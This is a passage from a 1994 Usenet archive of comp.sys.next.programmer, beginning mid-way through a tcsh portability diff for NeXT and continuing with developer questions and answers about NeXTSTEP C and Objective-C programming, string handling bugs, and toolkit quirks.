(isalnum((unsigned char) (c)) || (c) == '_')) #ifdef NLS + #ifdef NeXT + # define Isspace(c) (((Char)(c) & QUOTE) ? 0 : NXIsSpace((unsigned) (c))) + # define Isdigit(c) (((Char)(c) & QUOTE) ? 0 : NXIsDigit((unsigned) (c))) + # define Isalpha(c) (((Char)(c) & QUOTE) ? 0 : NXIsAlpha((unsigned) (c))) + # define Islower(c) (((Char)(c) & QUOTE) ? 0 : NXIsLower((unsigned) (c))) + # define Isupper(c) (((Char)(c) & QUOTE) ? 0 : NXIsUpper((unsigned) (c))) + # define Tolower(c) (((Char)(c) & QUOTE) ? 0 : NXToLower((unsigned) (c))) + # define Toupper(c) (((Char)(c) & QUOTE) ? 0 : NXToUpper((unsigned) (c))) + # define Isxdigit(c) (((Char)(c) & QUOTE) ? 0 : NXIsXDigit((unsigned) (c))) + # define Isalnum(c) (((Char)(c) & QUOTE) ? 0 : NXIsAlNum((unsigned) (c))) + # define Iscntrl(c) (((Char)(c) & QUOTE) ? 0 : NXIsCntrl((unsigned) (c))) + # define Isprint(c) (((Char)(c) & QUOTE) ? 0 : NXIsPrint((unsigned) (c))) + # define Ispunct(c) (((Char)(c) & QUOTE) ? 0 : NXIsPunct((unsigned) (c))) + #else /* !NeXT */ # define Isspace(c) (((Char)(c) & QUOTE) ? 0 : isspace((unsigned char) (c))) # define Isdigit(c) (((Char)(c) & QUOTE) ? 0 : isdigit((unsigned char) (c))) # define Isalpha(c) (((Char)(c) & QUOTE) ? 0 : isalpha((unsigned char) (c))) *************** *** 96,101 **** --- 114,120 ---- # define Iscntrl(c) (((Char)(c) & QUOTE) ? 0 : iscntrl((unsigned char) (c))) # define Isprint(c) (((Char)(c) & QUOTE) ? 0 : isprint((unsigned char) (c))) # define Ispunct(c) (((Char)(c) & QUOTE) ? 0 : ispunct((unsigned char) (c))) + #endif /* !NeXT */ #else # define Isspace(c) cmap(c, _SP|_NL) # define Isdigit(c) cmap(c, _DIG) diff -c tcsh-6.04/sh.types.h tcsh-6.04.next/sh.types.h *** tcsh-6.04/sh.types.h Thu Jul 8 06:53:05 1993 --- tcsh-6.04.next/sh.types.h Sat Dec 18 18:44:43 1993 *************** *** 84,90 **** --- 84,92 ---- # define __sys_stdtypes_h # ifndef __lucid typedef int pid_t; + # ifndef NeXT typedef unsigned int speed_t; + # endif # endif # endif /* __sys_stdtypes.h */ # ifndef _PID_T *************** *** 529,535 **** --- 531,539 ---- # ifndef _SPEED_T # define _SPEED_T + # ifndef NeXT typedef unsigned int speed_t; + # endif # endif /* _SPEED_T */ # ifndef _PTR_T
From: silbar@cantina.lanl.gov (Dick Silbar) Newsgroups: comp.sys.next.programmer Subject: Re: How to remove Help.store from PB? -- SOLUTION Date: 3 Jan 1994 10:00:58 -0600 Organization: UTexas Mail-to-News Gateway Sender: daemon@cs.utexas.edu Message-ID: <9401031601.AA06925@cantina.lanl.gov> On Sunday I posted a longer version of: ... following instructions in the release notes, I went and added a Help Directory to the project. And started to build up the whole kaboodle. I soon decided this was too much machinery for what I wanted, so I removed all the help files I could find in the project and proceeded to have "Help..." put up a much simple RTF text in a scrollview window. Now, however, every time I do a build, PB gives the following: Saving store to: './VectorField.app/English.lproj/Help.store'... which puts 32 more KB into my App than I need. HOW do I tell PB that I don't want it to do all that "Helpful" work any more? The simple answer, sent to me by Steve Hayman (and probably also posted by others on CSN.programmer?--I haven't had a chance to look yet) is You might try removing Help.store from your-project-directory/English.lproj. (which is different from your-project-directory/your-app.app/English.lproj). I imagine PB is set up so that if Help.store exists in the former directory, it gets copied to the latter. He's quite right, that works fine. I guess it's too much to expect PB to have a "Remove Help" button. Dick Silbar WhistleSoft, Inc.
Newsgroups: comp.sys.next.programmer From: cuilla@black_silk (Chris Cuilla) Subject: (real world) hard disk requirements? Message-ID: <1994Jan3.172130.24933@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Mon, 3 Jan 1994 17:21:30 GMT What do I need (disk space-wise) for a NEXTSTEP User & Developer system? -- Chris Cuilla --- NEXTSTEP Developer chris@its.com --------------------------------------------------------------------- "There's no such thing a as 'part-time' perfectionist."
From: Randy Antler Newsgroups: comp.sys.next.programmer Subject: Re: Help! No c or gcc on my NeXt! Date: 3 Jan 1994 19:03:57 GMT Organization: CERFnet Distribution: usa Message-ID: <2g9q6t$meu@news.cerf.net> References: <1993Dec31.151819.6715@bvc.edu> Keywords: next cc gnu developer In article <1993Dec31.151819.6715@bvc.edu> schweller@bvc.edu writes: > Help! I have no C on NS 3.0! I just installed NextStep 3.0 on my Next and > everything looks good but i dont seem to have a cc or gcc compiler! Without > at least a cc i cant even install gnu c compiler. Are there any cc next > binaries i could ftp somewhere? Help, im at a loss.. > Ken schweller NeXt Newbie > I believe you'll be wanting to install the Developer release of NeXTSTEP. The user install specifically REMOVES the C compiler during installation. -- Randy Antler (randy@nacm.com) (randy@pilot.com)
Newsgroups: comp.sys.next.programmer,comp.sys.next.advocacy,comp.sys.next.bugs From: cuilla@black_silk (Chris Cuilla) Subject: "The Not So Perfect Perfectionist" or "The Imperfectionist And His Dog" Message-ID: <1994Jan3.185136.25703@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Mon, 3 Jan 1994 18:51:36 GMT I have just been humbled...(not the first time, surely won't be the last)... A friend (thankfully), gently (again, thankfully) brought my "perfect" signature line to my attention: "There's no such thing a as 'part-time' perfectionist." No...in case anyone ever wondered...this was not intended as a joke, but has turned out that way. Anyhow...I have corrected things now...and my new years resolution is to practice perfectionism while I preach it. -- Chris Cuilla --- NEXTSTEP Developer chris@its.com --------------------------------------------------------------------- "There's no such thing as a 'part-time' perfectionist." -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!#;W5R:65R.WT*7&UA M<F=L,3(P"EQM87)G<C$R,`I<<&%R9%QT>#$Q-3)<='@R,S`T7'1X,S0U-EQT M>#0V,#A<='@U-S8P7'1X-CDQ,EQT>#@P-C1<='@Y,C$V7'1X,3`S-CA<='@Q M,34R,%QF,%QB,%QI,%QU;&YO;F5<9G,R-%QF8S!<8V8P($D@:&%V92!J=7-T M(&)E96X@:'5M8FQE9"XN+BAN;W0@=&AE(&9I<G-T('1I;64L('-U<F5L>2!W M;VXG="!B92!T:&4@;&%S="DN+BY<"EP*02!F<FEE;F0@*'1H86YK9G5L;'DI M+"!G96YT;'D@*&%G86EN+"!T:&%N:V9U;&QY*2!B<F]U9VAT(&UY(")P97)F M96-T(B!S:6=N871U<F4@;&EN92!T;R!M>2!A='1E;G1I;VXZ7`I<"@DB5&AE M<F4G<R!N;R!S=6-H('1H:6YG(`I<8B!A(&%S"EQB,"`@)W!A<G0M=&EM92<@ M<&5R9F5C=&EO;FES="XB7`I<"DYO+BXN:6X@8V%S92!A;GEO;F4@979E<B!W M;VYD97)E9"XN+G1H:7,@=V%S(&YO="`*7&(@:6YT96YD960*7&(P("!A<R!A M(&IO:V4L(&)U="!H87,@='5R;F5D(&]U="!T:&%T('=A>2X@($%N>6AO=RXN M+DD@:&%V92!C;W)R96-T960@=&AI;F=S(&YO=RXN+F%N9"!M>2!N97<@>65A M<G,@<F5S;VQU=&EO;B!I<R!T;R!P<F%C=&EC92!P97)F96-T:6]N:7-M('=H M:6QE($D@<')E86-H(&ET+@I<"EP*+2U<"D-H<FES($-U:6QL85P*+2TM7`I. M15A44U1%4"!$979E;&]P97)<"F-H<FES0&ET<RYC;VU<"BTM+2TM+2TM+2TM M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM M+2TM+2TM+2TM+2TM+5P*(E1H97)E)W,@;F\@<W5C:"!T:&EN9R!A<R!A("=P >87)T+71I;64G('!E<F9E8W1I;VYI<W0N(EP*"GT* `
From: fxg@wolf.informatik.rwth-aachen.de (Felix Gatzemeier) Newsgroups: comp.sys.next.programmer Subject: Re: Why am I having troubles with strncpy? Date: 03 Jan 1994 19:29:53 GMT Organization: Lehrstuhl fuer Informatik III, RWTH Aachen, Germany Message-ID: <FXG.94Jan3202953@wolf.informatik.rwth-aachen.de> References: <9312310510.AA05335@cantina.lanl.gov> <tgmCIwDty.Gs8@netcom.com> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit In-reply-to: tgm@netcom.com's message of Fri, 31 Dec 1993 11:41:58 GMT In article <tgmCIwDty.Gs8@netcom.com> tgm@netcom.com (Thomas G. McWilliams) writes: Newsgroups: comp.sys.next.programmer Path: urmel.informatik.rwth-aachen.de!infoac.rmi.de!Germany.EU.net!EU.net!uunet!decwrl!decwrl!netcomsv!netcom.com!tgm From: tgm@netcom.com (Thomas G. McWilliams) Organization: NETCOM On-line Communication Services (408 241-9760 guest) X-Newsreader: TIN [version 1.2 PL1] References: <9312310510.AA05335@cantina.lanl.gov> Date: Fri, 31 Dec 1993 11:41:58 GMT Dick Silbar (silbar@cantina.lanl.gov) wrote: [munch] : - (char *)getRoot : { : char root[MAXPATHLEN+1]; : char *fromDot; : int nchar; : fromDot = strrchr(thePathname,'.'); What if thePathname contains no '.'? : nchar = strlen(thePathname)-strlen(fromDot); => strlen(NULL) will get you into trouble. : strncpy(root,thePathname,nchar); This will leave your string unterminated. strncpy does not add a \0 as other str* functions do. : return root; The automatic 'root' Variable will be wasted quite soon! : } Hi Dick, The problem is that root[] is declared automatic. You must declare it static. You must not return pointers to automatic variables because the variable disappears when the function returns. Thomas There has been a mighty thread here, named "Re: NaN (Was: Rumour attack...)", and, yes, it's still alive as we're speaking. One point discussed there was the problem of strings in C. (Or was that another mighty thread?) Well, some of the conclusions pertain here: 1) Return pointers to automatic variables ONLY if you know dead sure that the data will be copied immideatly. 2) Avoid static variables as they bring terror and confusion to multiple threads. On another point, your code makes some assumptins worth testing: 1) Is the '.' really there? 2) Is it in the last part of the filename? I'd suggest: if(rindex(thePath, '.') != NULL && there is a dot rindex(thePath, '.') > rindex(thePath, '/')) and it's in the final part nchars = rindex(thePath, '.') - thePath + 1; => leave extension off else nchars = strlen(thePath) + 1; => copy all if((result = malloc(nchars)) == NULL) get memory for result return NULL; strncpy(result, thePath, nchars); copy what we want result[nchars] = '\0'; ensure termination (Not tested, of course) -- Felix (fxg@(([Pool|I3].Informatik)|(Tolkien.ImIB)).RWTH-Aachen.de NeXT-Mail ok, but slow)
From: feldberg@condor.cs.jhu.edu (Ian Feldberg) Newsgroups: comp.sys.next.programmer Subject: problems with fopen and sscanf? Date: 3 Jan 1994 14:50:19 -0500 Organization: The Johns Hopkins University CS Department Message-ID: <2g9str$1e3@condor.cs.jhu.edu> Is anyone out there aware of problems with sscanf, fopen and other incredibly popular C functions under Objective C? fopen seems to use my home directory as it's default directory, not the current directory. and, sscanf seems to only work intermittently. Am I nuts? - Ian Feldberg (Ian_Feldberg@jhuapl.edu)
From: david.geary@mccaw.com (David Geary) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Booch Palette for Diagram? Date: 3 Jan 1994 16:43:21 GMT Organization: McCaw Cellular Communications, Inc. Message-ID: <2g9hv9$p5q@ftp-p.mccaw.com> Has anybody gone to the trouble to create a Diagram palette that has Booch-diagram symbols on it? I'd sure like to have one... -- // David Geary Seattle: America's most Attractive City ... // david.geary@mccaw.com ... to the _Jetstream_
Newsgroups: comp.sys.next.programmer From: beaver@il.us.swissbank.com (Jason Beaver) Subject: RTF filter Message-ID: <1994Jan3.231422.26710@il.us.swissbank.com> Keywords: rtf filter ascii Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division Date: Mon, 3 Jan 1994 23:14:22 GMT I've seen an RTF to ascii filter somewhere but I can't remember where. Does anybody know if it is in the public domain? If so please e-mail me a copy at this address. If not, please let me know where I can find it. Jason Beaver Opinions expressed are my own and not necessarily those of my employer (or swiss bank)
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer) Newsgroups: comp.sys.next.programmer Subject: Re: OpenPanel and creating directories *sigh* Date: 3 Jan 1994 21:12:05 GMT Organization: the Borg Distribution: world Message-ID: <2ga1n5$h4@theborg.stack.urc.tue.nl> References: <2fsrpu$1ng@theborg.stack.urc.tue.nl> I do not like to follow-up to my own article but in this case it's the best thing to do. As numerous people (thanks to you all!) have said to me I have to use the class method to get the class accepted into setOpenPanelFactory. This is a gross oversight of me and I hope I will not be so stupid again (ha! ;-)). There's no excuse for it... In article <2fsrpu$1ng@theborg.stack.urc.tue.nl> annard@theborg.stack.urc.tue.nl (Annard Brouwer) writes: > Well, I guess I'm the 20,000th person to ask this, but before I asked I tried > to do it myself. What? Well, the following: I would like to open a directory or > let the user create one, if she has the urge. > Malcom Crawford asked why one should do this. Well, because the OpenPanel class give me a very nice way to select only directories and that's what I want. In Preferences I need a way to let the user choose were my files should be stored, and it may be in an existing directory so you need the OpenPanel for that, but you also want the option of creating one if the user thinks that is wise. That's why I want to be able to create a directory from an OpenPanel. Thanks to a lot of people for their response! May this year become a very productive programming year for all NEXTSTEP programmers! Annard -- Give me enough bandwidth and I can transmit the earth. - Annard Brouwer annard@stack.urc.tue.nl (NeXTmail appreciated)
From: annard@theborg.stack.urc.tue.nl (Annard Brouwer) Newsgroups: comp.sys.next.programmer Subject: Re: subdividing comp.sys.next.programmer Date: 3 Jan 1994 21:15:27 GMT Organization: the Borg Distribution: world Message-ID: <2ga1tf$h7@theborg.stack.urc.tue.nl> References: <1993Dec30.225402.2481@planon.qc.ca> In article <1993Dec30.225402.2481@planon.qc.ca> yanik@planon.qc.ca (Yanik Crepeau) writes: > Sooner or later, comp.sys.next.programmer will need to be splited. I have now and average > of 7 messages per day. These messages covers all programmer topics and sometimes some > topic outside the programmers interest. > Why not put a description of the Kit or some other tag in front of the subject. E.g. Subject: AppKit: OpenPanel and creating directories *sigh* This is a much better approach than splitting this group up... Annard -- Give me enough bandwidth and I can transmit the earth. - Annard Brouwer annard@stack.urc.tue.nl (NeXTmail appreciated)
From: paul@vorpal.digex.net (Paul D. Guthrie) Newsgroups: comp.sys.next.programmer Subject: Re: Why am I having troubles with strncpy? Followup-To: comp.lang.c Date: 4 Jan 1994 00:39:30 GMT Organization: Vorpal Software Message-ID: <2gads2$8gj@news1.digex.net> References: <9312310510.AA05335@cantina.lanl.gov> <tgmCIwDty.Gs8@netcom.com> <FXG.94Jan3202953@wolf.informatik.rwth-aachen.de> In article <FXG.94Jan3202953@wolf.informatik.rwth-aachen.de>, Felix Gatzemeier <fxg@wolf.informatik.rwth-aachen.de> wrote: >1) Return pointers to automatic variables ONLY if you know dead sure >that the data will be copied immideatly. Well, this should probably go to comp.lang.c (followups have been directed there), but the rule really is: Never return pointers to automatic variables because even if you do immediately copy the data, someone in the maintenance phase is likely to change this and waste time debugging the problem. -- Paul Guthrie paul@vorpal.digex.net
From: cc100aa@xray.oit.gatech.edu (Ray Spalding) Newsgroups: comp.sys.next.programmer Subject: Re: *** HashTable: count differs after rehashing; probably i... Date: 4 Jan 1994 04:28:08 GMT Organization: Georgia Institute of Technology Message-ID: <2gar8o$os3@news.gatech.edu> References: <1994Jan1.021707.23646@csus.edu> In article <1994Jan1.021707.23646@csus.edu> eps@cs.sfsu.edu writes: >One of our programmers is getting intermittent > >*** HashTable: count differs after rehashing; probably indicates >a broken invariant: there are x and y such as isEqual(x, y) is >TRUE but hash(x) != hash (y) > >messages from one of his applications. (NS 3.1) > >"But I don't use the HashTable class!" > >gdb says the culprit is NXRunAlertPanel(): From the 3.2 online Developer Release Notes: Notes Specific to Release 3.2 Known Bugs NXRunAlertPanel In all 3.X releases NXRunAlertPanel incorrectly tries to localize the arguments it receives. If one of these arguments is not found as a key in the localization string table, the system retains a reference to that pointer and uses it as the localized value. This results in the correct display, but if that argument is later freed or modified, the application gets hashtable error messages or crashes. The workaround is to be sure that you call this function with strings that you know will not change. Use either literal strings or make copies of dynamically created strings that may change later. -- Ray Spalding, Office of Information Technology Georgia Institute of Technology, Atlanta Georgia, 30332-0715 Internet: ray.spalding@oit.gatech.edu (NeXT Mail accepted)
From: bpja@xedoc.com.au (Brett Adam) Newsgroups: comp.sys.next.programmer Subject: D/OBJ: Reference counting seems wrong Date: 4 Jan 1994 06:37:59 GMT Organization: Connect.com.au Pty Ltd, Melbourne, Australia Distribution: world Message-ID: <2gb2s7$c7s@yarrina.connect.com.au> OK, I'm finally frustrated enough to see if anyone else has the same problems .. We've been doing a lot of distributed object work recently, and have come to the conclusion that NeXT got the reference counting system wrong. The documentation states that references are only added the first time an object is vended on a connection. But, this is blatantly not true. Every time we return the same object over the same connection we get another invocation of addReference to the vended object. Since the proxy on the client side only passes the -free message across the pipe when it's own reference count hits zero, we have no real way to know when all clients have finished with our vended objects. Thus, we leak objects in our server. If I try to do my own reference counting, by checking that the object doesn't exist on the given connection before I return it (thus, checking for the existence of a local proxy on the server), and only incrementing the server side count if the local proxy doesn't exist I'm still thwarted by the remote side reference counts. The remote end does not appear to count references correctly. Also, as another issue, the free method is supposed to return nil if it truly frees the receiver and self if it only decremented the ref count. The problem is that if the -free came from a remote proxy (whose remote ref count must have hit zero) and the server object figures that it shouldn't free itself yet (because it is ref couting) then the server object returns self from the -free and the D/Obj system creates another proxy over the connection in order to return the self! Arrgh! Maybe I'm wrong, or maybe I'm the only person to try and track and clean up my D/Objs .... I've confirmed this for 3.1 and 3.2 So, am I going mad, or is this what other people have experienced? I'm in the process of writing up a paper to NeXT explaining to them why their current implementation just doesn't work. Any brilliant insights appreciated. Brett Adam ------------------------------------------------------------------- Brett Adam Xedoc Software Development Pty. Ltd. Melbourne, Australia Phone : +61 3 696 2490 Fax : +61 3 696 6757 Internet : (NeXTMail welcome) bpja@xedoc.com.au AppleLink: AUST0335 Street : 222 Park St, South Melbourne 3205, Victoria, Australia Postal : PO Box 293, Albert Park 3206, Victoria, Australia -------------------------------------------------------------------
Newsgroups: comp.sys.next.programmer From: rolf@rolfhh.hanse.de (Rolf Woehrmann) Subject: Please Help! Bug in ProcessMonitor? Message-ID: <1994Jan3.004134.292@rolfhh.hanse.de> Sender: rolf@rolfhh.hanse.de Organization: Rolf Woehrmann, Hamburg, Germany Date: Mon, 3 Jan 94 00:41:34 GMT Hi! Two weeks ago I posted here an article concerning the missing of the MachInspector in the ProcessMonitor.app since upgrading to NS 3.1 (black hardware). It's the same in NS 3.2. The documentation still mentions it. Since I haven't got any answer I'm posting this again. At least it would be interesting if anybody has the same problem. (Please forgive my bad English. Also, if there has been answers to my first posting loosing the way to me.) Thanks Rolf Woehrmann E-mail: rolf@rolfhh.hanse.de Wrangelstrasse 105 B (NeXTmail welcome) 20253 Hamburg Voice: + 49 / 40 / 422 49 10 Germany
Newsgroups: comp.sys.next.programmer From: irving@Happy-Man.com (Irving_Wolfe) Subject: Re: *** HashTable: count differs after rehashing; probably i... Message-ID: <1994Jan4.034522.12532@Happy-Man.com> Organization: Happy Man Corp, 4410 Pt Robinson, Vashon, WA 98070 206/463-9399 References: <1994Jan1.021707.23646@csus.edu> <1994Jan1.025018.24764@csus.edu> Date: Tue, 4 Jan 1994 03:45:22 GMT In <1994Jan1.025018.24764@csus.edu> eps@futon.SFSU.EDU (Eric P. Scott) writes: >Gotta watch out for that nasty ol' ObjectWare... Just remember, if it doesn't come with source, it isn't worth putting on your system. (I wish I'd remembered that when ...) -- Irving_Wolfe@Happy-Man.com 206/463-9399 x101 fax 206/463-9255 Happy Man Corp. 4410 SW Pt. Robinson Rd., Vashon, WA 98070-7399 In SOLID VALUE, we show intelligent investors under-priced stocks Printed Info Free: Send POSTAL address: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.programmer From: raptor!rlove (Robert B. Love ) Subject: NeXT Job Message-ID: <1994Jan4.002450.1308@nugget.rmNUG.ORG> Keywords: Job, NeXT, Developer Sender: rlove@nugget.rmNUG.ORG Organization: Rocky Mountain NeXT Users' Group Date: Tue, 4 Jan 1994 00:24:50 GMT I'm posting this for an acquaintance, please don't respond to me WHAT: NeXT Developer Sought WHERE: Omaha, Nebraska SALARY: Dependent on Experience DETAILS: Nationwide corporation is seeking developers with 3+ years experience with Objective-C and NEXTSTEP (C++ too?). Business application and/or accounting experience helpful. CONTACT: Jan Isom Noll Inc 2120 South 72nd St Suite 900 Omaha, NE 68124-2341 Voice: (800)798-7736 Fax: (402)391-6748 -- ----------------------------------------------------------------- Bob Love rlove@raptor.rmnug.org (NeXT Mail OK) BIX: rlove -----------------------------------------------------------------
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: IB Dragging question Date: 4 Jan 1994 11:50:38 -0000 Organization: me organized? That's a joke! Message-ID: <2gbl6e$cp@steffi.demon.co.uk> Does anybody know what "machinery" IB is using when you can drag an Image over a Button? I've made a customView and I'd like for that view to receive an NXTIFFPboardType (What exactly is the type on the pasteboard when you pick up from the Images suitcase?) I wouldn't have thought it was a NXTIFFPboardType since all the Button needs is the name of the image for it's Cell's "contents" ivar. It's not just that I'm using the wrong type either because my view instance wouldn't receive an NXFilenamePboard type from the Fileviewer if registered to do so. I've registered my own types in the customviews's - awake method which is being called correctly. However, it isn't receiving the NXDragDestination methods. Currently these are only sent when in "Test Interface" mode. At Expo, I saw some guy demonstrating a palette which allowed "real-time" drag and dropping of images over his View subclass. He also had "real-time" rotating of the image. -- "Buzzword Development" the new way for the 90's. Promising to deliver but not delivering what you promised.
From: dave@truth.asg.arlut.utexas.edu (Dave Slotnick) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: NXWriteType() bug? Date: 4 Jan 1994 16:11:37 GMT Organization: The University of Texas at Austin, Austin, Texas Message-ID: <2gc4fp$e8p@geraldo.cc.utexas.edu> This program: main () { NXTypedStream *stream; char foo[] = "foo"; // NOTICE THIS LINE stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); NXWriteType (stream, "*", &foo); NXCloseTypedStream (stream); } generates a segmentation fault, while this program main () { NXTypedStream *stream; char *foo = "foo"; // NOTICE THIS LINE stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); NXWriteType (stream, "*", &foo); NXCloseTypedStream (stream); } does not. Any thoughts? -- *** David Slotnick *** Applied Research Laboratories *** dave@truth.asg.arlut.utexas.edu NeXTmail desired and appreciated
Newsgroups: comp.sys.next.programmer From: jspears@weston.com (Wes Spears) Subject: Beginner Question with DBKit and gdbmAdaptor Message-ID: <1994Jan4.153640.3611@weston.com> Sender: jspears@weston.com (Wes Spears) Date: Tue, 4 Jan 1994 15:36:40 GMT I have successfully built a model using this adaptor and DBModule. But, when I go into IB and try to actually do any thing, nothing shows up in the DBModule browser. I am new to this area, so any/all help is appreciated. Thanks Wes _______________________________________________________ Wes Spears <-------> jspears@weston.com (NeXTMail Welcome) The Weston Group (UUCP and SENDMAIL Consultation) 8524 Highway 6 North, #162 Houston, TX 77095 (713) 827-2650 FAX (713) 856-7851 -- Wes Spears <-------> jspears@weston.com (NeXTMail Welcome) The Weston Group (UUCP and SENDMAIL Consultation) 8524 Highway 6 North, 162, Houston, TX 77095
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: openSpoolFile: and spoolFile: - do they really work? Message-ID: <1994Jan4.143326.390@stone.com> Sender: andrew@stone.com Organization: Stone Design Corp Date: Tue, 4 Jan 1994 14:33:26 GMT I've been unsuccessfully trying to get the printing machinery to work programmatically, ie: Spool a view to a .ps file of my choosing. In openSpoolFile: I pass the name of the file I want opened, but spoolFile: is never called... Anyone got this to work? My current kludge is just spill the view's guts with copyPSCodeInside:to:, but this doesn't give you pagination, etc. andrew -- NewsGrazer, a NeXTstep(tm) news reader, posting -- M>UQR=&8P7&%N<VE[7&9O;G1T8FQ<9C!<9FUO9&5R;B!/:&QF<SM]"EQM87)G M;#$R,`I<;6%R9W(Q,C`*7'!A<F1<='@Q,34R7'1X,C,P-%QT>#,T-39<='@T M-C`X7'1X-3<V,%QT>#8Y,3)<='@X,#8T7'1X.3(Q-EQT>#$P,S8X7'1X,3$U M,C!<9C!<8C!<:3!<=6QN;VYE7&9S,C1<9F,P7&-F,"!))W9E(&)E96X@=6YS M=6-C97-S9G5L;'D@=')Y:6YG('1O(&=E="!T:&4@<')I;G1I;F<@;6%C:&EN M97)Y('1O('=O<FL@<')O9W)A;6UA=&EC86QL>2P@:64Z(%-P;V]L(&$@=FEE M=R!T;R!A("YP<R!F:6QE(&]F(&UY(&-H;V]S:6YG+EP*7`I);B!O<&5N4W!O M;VQ&:6QE.B!)('!A<W,@=&AE(&YA;64@;V8@=&AE(&9I;&4@22!W86YT(&]P M96YE9"P@8G5T('-P;V]L1FEL93H@:7,@;F5V97(@8V%L;&5D+BXN7`I<"D%N M>6]N92!G;W0@=&AI<R!T;R!W;W)K/UP*7`I->2!C=7)R96YT(&ML=61G92!I M<R!J=7-T('-P:6QL('1H92!V:65W)W,@9W5T<R!W:71H(&-O<'E04T-O9&5) M;G-I9&4Z=&\Z+"!B=70@=&AI<R!D;V5S;B=T(&=I=F4@>6]U('!A9VEN871I 5;VXL(&5T8RY<"EP*86YD<F5W"GT* ` -- ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone !! (505) 345-4800 !! !! andrew@stone.com <> Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>>||<<+>>||<<-->>||<<==>>||<<+>>||
From: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer Subject: Re: NXWriteType() bug? Date: Tue, 4 Jan 1994 12:50:08 -0500 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <sh_OlEO00iV2E2EWAA@andrew.cmu.edu> Here is a simple definition from K&R: There is an important difference between these definitions: char amessage[] = "now is the time"; /* an array */ char *pmessage = "now is the time"; /* a pointer */ amessage is an array, just big enough to hold the sequence of characters and '\0' that initilizes it. Individual chartacters within the array may be changed but amessage will always refer to the same storage. On the other hand, pmessage is a pointer, initalized to point to a string constant; the ppointer may subsequently be modified to point elsewhere, but the result is undefined if you try to modifiy the string contents. So from this we know that they are different... but there is another problem, when you define foo[], you are defining an array, so you have to use the format of: NXWriteType(stream, "[3c]", &foo); as opposed to: NXWriteType(stream, "*", foo) If you want to define your strings with the brackets, then you can also just write a simple function to build the format string using: sprintf(foobar, "[%dc]", sizeof(A)/sizeof(char)); Atleast I think this will work correctly.. didn't have the motivation to try it out... but to make things easy, just stick with the char * declaration, which is what they use in the documentation for NXWriteType. I hope this helps. Tom tm31@andrew.cmu.edu [NeXTmail welcome] -------- Message forwarded ------------------------------------ main () { NXTypedStream *stream; char foo[] = "foo"; // NOTICE THIS LINE stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); NXWriteType (stream, "*", &foo); NXCloseTypedStream (stream); } generates a segmentation fault, while this program main () { NXTypedStream *stream; char *foo = "foo"; // NOTICE THIS LINE stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); NXWriteType (stream, "*", &foo); NXCloseTypedStream (stream); } does not. Any thoughts? -- *** David Slotnick *** Applied Research Laboratories *** dave@truth.asg.arlut.utexas.edu
From: e91tl@efd.lth.se (Tomas Liedman) Newsgroups: comp.sys.next.bugs,comp.sys.next.programmer Subject: Re: NXWriteType() bug? Date: 4 Jan 1994 18:20:13 GMT Organization: Lund Institute of Technology, Sweden Message-ID: <2gcc0t$kv1@nic.lth.se> References: <2gc4fp$e8p@geraldo.cc.utexas.edu> In article <2gc4fp$e8p@geraldo.cc.utexas.edu> dave@truth.asg.arlut.utexas.edu (Dave Slotnick) writes: > >This program: > >main () >{ > NXTypedStream *stream; > char foo[] = "foo"; // NOTICE THIS LINE > stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); > NXWriteType (stream, "*", &foo); > NXCloseTypedStream (stream); >} > >generates a segmentation fault, while this program > >main () >{ > NXTypedStream *stream; > char *foo = "foo"; // NOTICE THIS LINE > stream = NXOpenTypedStreamForFile ("foo.test", NX_WRITEONLY); > NXWriteType (stream, "*", &foo); > NXCloseTypedStream (stream); >} > >does not. > >Any thoughts? Could it be thet the compiler produces { 'f', 'o', 'o' } on the first case, and { 'f', 'o', 'o', '\0' } in the second case -- ie, the string is null-terminated only when declared as char *foo ? NXWriteType, expecting a null-terminated string, then falls past the end of foo[] in the first example, resulting in the segmentation fault mentioned. I think that's it. > >-- >*** David Slotnick >*** Applied Research Laboratories >*** dave@truth.asg.arlut.utexas.edu > >NeXTmail desired and appreciated -- | Christian Brunschen, Husmansv. 26, S-227 38 Lund, Sweden | | voice/fax/data +46 (0)46 139345, email d89cb@efd.lth.se | | PGP 2.2 Public Key available on request. | ObCelebrityQuote: | | "Oh, foo." | | - Andrew R. Koenig (ark@research.att.com) after dropping a piece | | of chalk during a lecture on C++ in Lund, Sweden, April 1993 |
